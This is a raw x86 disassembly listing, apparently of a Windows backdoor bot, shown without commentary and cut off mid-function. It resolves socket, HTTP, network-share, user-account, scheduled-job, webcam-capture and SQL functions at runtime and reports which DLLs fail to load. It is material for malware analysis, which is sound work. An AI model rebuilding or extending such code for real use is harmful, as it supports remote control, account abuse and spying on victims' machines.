		cmp	edi, ebx
		jz	loc_409E04
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_43EA9C, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43EBC8, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43EA40, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43EA1C, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_43EAD0, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_43EAB8, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_43EA84, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_43EBA4, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43EBC0, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_43EACC, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_43EBB0, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43EB64, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_43EB24, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43EB20, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_43EA60, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_43EA58, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43EB74, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_43EB88, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43EB3C, eax
		call	esi	; GetProcAddress
		mov	dword_43EAFC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_43EB50, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_43EB0C, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_43EB4C, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_43EBB8, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_43EB04, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_43EAC8, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_43EB38, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_43EBA8, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_43EADC, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_43EA80, eax
		call	esi	; GetProcAddress
		cmp	dword_43EA9C, ebx
		mov	dword_43EBBC, eax
		jz	loc_409E0F
		cmp	dword_43EBC8, ebx
		jz	loc_409E0F
		cmp	dword_43EA40, ebx
		jz	loc_409E0F
		cmp	dword_43EAD0, ebx
		jz	loc_409E0F
		cmp	dword_43EAB8, ebx
		jz	loc_409E0F
		cmp	dword_43EA84, ebx
		jz	loc_409E0F
		cmp	dword_43EBA4, ebx
		jz	loc_409E0F
		cmp	dword_43EBC0, ebx
		jz	loc_409E0F
		cmp	dword_43EACC, ebx
		jz	loc_409E0F
		cmp	dword_43EBB0, ebx
		jz	loc_409E0F
		cmp	dword_43EB64, ebx
		jz	loc_409E0F
		cmp	dword_43EB24, ebx
		jz	loc_409E0F
		cmp	dword_43EB20, ebx
		jz	loc_409E0F
		cmp	dword_43EA60, ebx
		jz	short loc_409E0F
		cmp	dword_43EB74, ebx
		jz	short loc_409E0F
		cmp	dword_43EB88, ebx
		jz	short loc_409E0F
		cmp	dword_43EB3C, ebx
		jz	short loc_409E0F
		cmp	dword_43EAFC, ebx
		jz	short loc_409E0F
		cmp	dword_43EB50, ebx
		jz	short loc_409E0F
		cmp	dword_43EB0C, ebx
		jz	short loc_409E0F
		cmp	dword_43EB4C, ebx
		jz	short loc_409E0F
		cmp	dword_43EBB8, ebx
		jz	short loc_409E0F
		cmp	dword_43EB04, ebx
		jz	short loc_409E0F
		cmp	dword_43EAC8, ebx
		jz	short loc_409E0F
		cmp	dword_43EB38, ebx
		jz	short loc_409E0F
		cmp	dword_43EBA8, ebx
		jz	short loc_409E0F
		cmp	dword_43EADC, ebx
		jz	short loc_409E0F
		cmp	eax, ebx
		jnz	short loc_409E19
		jmp	short loc_409E0F
; ---------------------------------------------------------------------------

loc_409E04:				; CODE XREF: sub_409658+501j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_43EC04, eax

loc_409E0F:				; CODE XREF: sub_409658+6A0j
					; sub_409658+6ACj ...
		mov	dword_43EC00, 1

loc_409E19:				; CODE XREF: sub_409658+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F1E
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_43EA68, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_43E9F4, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_43EAEC, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43EAA0, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43EAF8, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_43EABC, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_43EA34, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_43EA2C, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43EA3C, eax
		call	esi	; GetProcAddress
		cmp	dword_43EA68, ebx
		mov	ecx, dword_43EABC
		mov	dword_43EB58, eax
		jz	short loc_409EFA
		cmp	dword_43E9F4, ebx
		jz	short loc_409EFA
		cmp	dword_43EAEC, ebx
		jz	short loc_409EFA
		cmp	dword_43EAA0, ebx
		jz	short loc_409EFA
		cmp	dword_43EAF8, ebx
		jz	short loc_409EFA
		cmp	ecx, ebx
		jz	short loc_409EFA
		cmp	dword_43EA34, ebx
		jz	short loc_409EFA
		cmp	dword_43EA2C, ebx
		jz	short loc_409EFA
		cmp	dword_43EA3C, ebx
		jz	short loc_409EFA
		cmp	eax, ebx
		jnz	short loc_409F04

loc_409EFA:				; CODE XREF: sub_409658+860j
					; sub_409658+868j ...
		mov	dword_43EC08, 1

loc_409F04:				; CODE XREF: sub_409658+8A0j
		cmp	ecx, ebx
		jz	short loc_409F39
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_43EAD4, eax
		jnz	short loc_409F39
		jmp	short loc_409F33
; ---------------------------------------------------------------------------

loc_409F1E:				; CODE XREF: sub_409658+7CCj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_43EC0C, eax
		mov	dword_43EC08, 1

loc_409F33:				; CODE XREF: sub_409658+8C4j
		mov	dword_43EAD4, ebx

loc_409F39:				; CODE XREF: sub_409658+8AEj
					; sub_409658+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409F83
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_43EAB0, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43EBD8, eax
		call	esi	; GetProcAddress
		cmp	dword_43EAB0, ebx
		mov	dword_43EA48, eax
		jz	short loc_409F8E
		cmp	dword_43EBD8, ebx
		jz	short loc_409F8E
		cmp	eax, ebx
		jnz	short loc_409F98
		jmp	short loc_409F8E
; ---------------------------------------------------------------------------

loc_409F83:				; CODE XREF: sub_409658+8ECj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_43EC14, eax

loc_409F8E:				; CODE XREF: sub_409658+91Bj
					; sub_409658+923j ...
		mov	dword_43EC10, 1

loc_409F98:				; CODE XREF: sub_409658+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A08E
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_43EA24, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_43E9FC, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_43EA70, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43EAA4, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_43EBB4, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43EA5C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43EA08, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43E9F8, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_43EA8C, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43EB7C, eax
		call	esi	; GetProcAddress
		cmp	dword_43EA24, ebx
		mov	dword_43EB34, eax
		jz	short loc_40A099
		cmp	dword_43E9FC, ebx
		jz	short loc_40A099
		cmp	dword_43EA70, ebx
		jz	short loc_40A099
		cmp	dword_43EAA4, ebx
		jz	short loc_40A099
		cmp	dword_43EBB4, ebx
		jz	short loc_40A099
		cmp	dword_43EA5C, ebx
		jz	short loc_40A099
		cmp	dword_43EA08, ebx
		jz	short loc_40A099
		cmp	dword_43E9F8, ebx
		jz	short loc_40A099
		cmp	dword_43EA8C, ebx
		jz	short loc_40A099
		cmp	dword_43EB7C, ebx
		jz	short loc_40A099
		cmp	eax, ebx
		jnz	short loc_40A0A3
		jmp	short loc_40A099
; ---------------------------------------------------------------------------

loc_40A08E:				; CODE XREF: sub_409658+94Bj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_43EC1C, eax

loc_40A099:				; CODE XREF: sub_409658+9E6j
					; sub_409658+9EEj ...
		mov	dword_43EC18, 1

loc_40A0A3:				; CODE XREF: sub_409658+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A0D8
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_43EA4C, eax
		call	esi	; GetProcAddress
		cmp	dword_43EA4C, ebx
		mov	dword_43EB1C, eax
		jz	short loc_40A0E3
		cmp	eax, ebx
		jnz	short loc_40A0ED
		jmp	short loc_40A0E3
; ---------------------------------------------------------------------------

loc_40A0D8:				; CODE XREF: sub_409658+A56j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_43EC24, eax

loc_40A0E3:				; CODE XREF: sub_409658+A78j
					; sub_409658+A7Ej
		mov	dword_43EC20, 1

loc_40A0ED:				; CODE XREF: sub_409658+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A122
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_43EBA0, eax
		call	esi	; GetProcAddress
		cmp	dword_43EBA0, ebx
		mov	dword_43EB9C, eax
		jz	short loc_40A12D
		cmp	eax, ebx
		jnz	short loc_40A137
		jmp	short loc_40A12D
; ---------------------------------------------------------------------------

loc_40A122:				; CODE XREF: sub_409658+AA0j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_43EC2C, eax

loc_40A12D:				; CODE XREF: sub_409658+AC2j
					; sub_409658+AC8j
		mov	dword_43EC28, 1

loc_40A137:				; CODE XREF: sub_409658+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A196
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_43EBCC, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_43EBC4, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43EB8C, eax
		call	esi	; GetProcAddress
		cmp	dword_43EBCC, ebx
		mov	dword_43EA64, eax
		jz	short loc_40A1A1
		cmp	dword_43EBC4, ebx
		jz	short loc_40A1A1
		cmp	dword_43EB8C, ebx
		jz	short loc_40A1A1
		cmp	eax, ebx
		jnz	short loc_40A1AB
		jmp	short loc_40A1A1
; ---------------------------------------------------------------------------

loc_40A196:				; CODE XREF: sub_409658+AEAj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_43EC34, eax

loc_40A1A1:				; CODE XREF: sub_409658+B26j
					; sub_409658+B2Ej ...
		mov	dword_43EC30, 1

loc_40A1AB:				; CODE XREF: sub_409658+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A1E0
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_43EA98, eax
		call	esi	; GetProcAddress
		cmp	dword_43EA98, ebx
		mov	dword_43EB98, eax
		jz	short loc_40A1EB
		cmp	eax, ebx
		jnz	short loc_40A1F5
		jmp	short loc_40A1EB
; ---------------------------------------------------------------------------

loc_40A1E0:				; CODE XREF: sub_409658+B5Ej
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_43EC3C, eax

loc_40A1EB:				; CODE XREF: sub_409658+B80j
					; sub_409658+B86j
		mov	dword_43EC38, 1

loc_40A1F5:				; CODE XREF: sub_409658+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A27E
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43EB60, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43EBAC, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_43EAE8, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43EAA8, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_43EB40, eax
		call	esi	; GetProcAddress
		cmp	dword_43EB60, ebx
		mov	dword_43EAB4, eax
		jz	short loc_40A289
		cmp	dword_43EBAC, ebx
		jz	short loc_40A289
		cmp	dword_43EAE8, ebx
		jz	short loc_40A289
		cmp	dword_43EAA8, ebx
		jz	short loc_40A289
		cmp	dword_43EB40, ebx
		jz	short loc_40A289
		cmp	eax, ebx
		jnz	short loc_40A293
		jmp	short loc_40A289
; ---------------------------------------------------------------------------

loc_40A27E:				; CODE XREF: sub_409658+BA8j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_43EC44, eax

loc_40A289:				; CODE XREF: sub_409658+BFEj
					; sub_409658+C06j ...
		mov	dword_43EC40, 1

loc_40A293:				; CODE XREF: sub_409658+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A2C8
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_43EA7C, eax
		call	esi	; GetProcAddress
		cmp	dword_43EA7C, ebx
		mov	dword_43EB54, eax
		jz	short loc_40A2D3
		cmp	eax, ebx
		jnz	short loc_40A2DD
		jmp	short loc_40A2D3
; ---------------------------------------------------------------------------

loc_40A2C8:				; CODE XREF: sub_409658+C46j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_43EC4C, eax

loc_40A2D3:				; CODE XREF: sub_409658+C68j
					; sub_409658+C6Ej
		mov	dword_43EC48, 1

loc_40A2DD:				; CODE XREF: sub_409658+C6Cj
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_409658	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A2E5	proc near		; CODE XREF: sub_40EC43+575Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_43EBE0, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A32D
		push	dword_43EBE4
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 20h

loc_40A32D:				; CODE XREF: sub_40A2E5+1Aj
		cmp	dword_43EBE8, esi
		jz	short loc_40A361
		push	dword_43EBEC
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 20h

loc_40A361:				; CODE XREF: sub_40A2E5+4Ej
		cmp	dword_43EBF0, esi
		jz	short loc_40A395
		push	dword_43EBF4
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 20h

loc_40A395:				; CODE XREF: sub_40A2E5+82j
		cmp	dword_43EBF8, esi
		jz	short loc_40A3C9
		push	dword_43EBFC
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 20h

loc_40A3C9:				; CODE XREF: sub_40A2E5+B6j
		cmp	dword_43EC00, esi
		jz	short loc_40A3FD
		push	dword_43EC04
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 20h

loc_40A3FD:				; CODE XREF: sub_40A2E5+EAj
		cmp	dword_43EC08, esi
		jz	short loc_40A431
		push	dword_43EC0C
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 20h

loc_40A431:				; CODE XREF: sub_40A2E5+11Ej
		cmp	dword_43EC10, esi
		jz	short loc_40A465
		push	dword_43EC14
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 20h

loc_40A465:				; CODE XREF: sub_40A2E5+152j
		cmp	dword_43EC18, esi
		jz	short loc_40A499
		push	dword_43EC1C
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 20h

loc_40A499:				; CODE XREF: sub_40A2E5+186j
		cmp	dword_43EC20, esi
		jz	short loc_40A4CD
		push	dword_43EC24
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 20h

loc_40A4CD:				; CODE XREF: sub_40A2E5+1BAj
		cmp	dword_43EC28, esi
		jz	short loc_40A501
		push	dword_43EC2C
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 20h

loc_40A501:				; CODE XREF: sub_40A2E5+1EEj
		cmp	dword_43EC30, esi
		jz	short loc_40A535
		push	dword_43EC34
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 20h

loc_40A535:				; CODE XREF: sub_40A2E5+222j
		cmp	dword_43EC38, esi
		jz	short loc_40A569
		push	dword_43EC3C
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 20h

loc_40A569:				; CODE XREF: sub_40A2E5+256j
		cmp	dword_43EC40, esi
		jz	short loc_40A59D
		push	dword_43EC44
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 20h

loc_40A59D:				; CODE XREF: sub_40A2E5+28Aj
		cmp	dword_43EC48, esi
		jz	short loc_40A5D1
		push	dword_43EC4C
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 20h

loc_40A5D1:				; CODE XREF: sub_40A2E5+2BEj
		lea	eax, [ebp+var_200]
		push	offset dword_42C960
		push	eax
		call	sub_416FB6
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A5FE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h

loc_40A5FE:				; CODE XREF: sub_40A2E5+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BD8D
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A2E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A610	proc near		; CODE XREF: sub_40EC43+BEEp
					; sub_40EC43+C1Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40A69B
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_40A69B
		cmp	[ebp+arg_8], esi
		jz	short loc_40A69B
		cmp	byte ptr [eax],	0
		jz	short loc_40A69B
		push	ebx
		push	edi
		call	sub_422450
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40A696
		push	[ebp+arg_4]
		push	edi
		call	sub_417580
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40A68F
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_418910
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_4177B0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_418AE0
		push	[ebp+arg_4]
		call	sub_4177B0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_4176D0
		push	ebx
		push	edi
		call	sub_4176C0
		add	esp, 30h
		mov	esi, edi

loc_40A68F:				; CODE XREF: sub_40A610+3Cj
		push	ebx
		call	sub_41793B
		pop	ecx

loc_40A696:				; CODE XREF: sub_40A610+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_40A69D
; ---------------------------------------------------------------------------

loc_40A69B:				; CODE XREF: sub_40A610+Cj
					; sub_40A610+13j ...
		xor	eax, eax

loc_40A69D:				; CODE XREF: sub_40A610+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40A610	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6A1	proc near		; CODE XREF: sub_40EAC7+E9p

var_7D0		= dword	ptr -7D0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	ebx
		push	eax
		call	sub_417030
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_4177B0
		xor	edi, edi
		add	esp, 10h
		inc	edi
		cmp	eax, edi
		jge	short loc_40A6D9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A740
; ---------------------------------------------------------------------------

loc_40A6D9:				; CODE XREF: sub_40A6A1+31j
		xor	ecx, ecx
		cmp	eax, ebx
		mov	[ebp+var_7D0], esi
		jle	short loc_40A6FA

loc_40A6E5:				; CODE XREF: sub_40A6A1+57j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_40A6F2
		cmp	dl, 0Dh
		jnz	short loc_40A6F5

loc_40A6F2:				; CODE XREF: sub_40A6A1+4Aj
		mov	[ecx+esi], bl

loc_40A6F5:				; CODE XREF: sub_40A6A1+4Fj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40A6E5

loc_40A6FA:				; CODE XREF: sub_40A6A1+42j
		xor	edx, edx
		cmp	eax, ebx
		jle	short loc_40A722

loc_40A700:				; CODE XREF: sub_40A6A1+7Fj
		cmp	[edx+esi], bl
		jnz	short loc_40A71D
		lea	ecx, [edx+esi+1]
		cmp	[ecx], bl
		jz	short loc_40A71D
		cmp	edi, 1F4h
		jge	short loc_40A722
		mov	[ebp+edi*4+var_7D0], ecx
		inc	edi

loc_40A71D:				; CODE XREF: sub_40A6A1+62j
					; sub_40A6A1+6Aj
		inc	edx
		cmp	edx, eax
		jl	short loc_40A700

loc_40A722:				; CODE XREF: sub_40A6A1+5Dj
					; sub_40A6A1+72j
		cmp	[ebp+arg_4], ebx
		jz	short loc_40A73E
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_417090
